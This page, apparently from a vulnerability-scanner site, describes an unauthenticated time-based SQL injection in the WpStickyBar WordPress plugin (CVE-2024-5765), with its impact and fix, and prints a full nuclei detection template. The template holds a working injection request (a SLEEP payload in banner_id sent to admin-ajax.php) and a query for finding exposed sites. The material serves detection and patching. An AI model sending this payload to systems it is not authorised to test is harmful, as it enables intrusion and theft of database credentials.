WpStickyBar <= 2.1.0 - SQL Injection

highseverity

27.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection

Impact

Unauthenticated attackers can execute time-based SQL injection attacks to extract sensitive database information including user credentials and configuration data.

Fix

Update WpStickyBar plugin to version 2.1.1 or later to address the SQL injection vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "/plugins/wpstickybar-sticky-bar-sticky-header")
Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2024-5765 -u <target>

The full check

id: CVE-2024-5765

info:
  name: WpStickyBar <= 2.1.0 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
  impact: |
    Unauthenticated attackers can execute time-based SQL injection attacks to extract sensitive database information including user credentials and configuration data.
  remediation: |
    Update WpStickyBar plugin to version 2.1.1 or later to address the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0b73f84c-611e-4681-b362-35e721478ba4/
    - https://wordpress.org/plugins/wpstickybar-sticky-bar-sticky-header/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5765
  classification:
    cve-id: CVE-2024-5765
    cwe-id: CWE-89
    epss-score: 0.27232
    epss-percentile: 0.9807
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/plugins/wpstickybar-sticky-bar-sticky-header"
  tags: time-based-sqli,cve,cve2024,sqli,wpscan,wordpress,wp-plugin,wp,wpstickybar,unauth,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/plugins/wpstickybar-sticky-bar-sticky-header")'
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=stickybar_display&banner_id=1%20AND%20SLEEP(6);

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from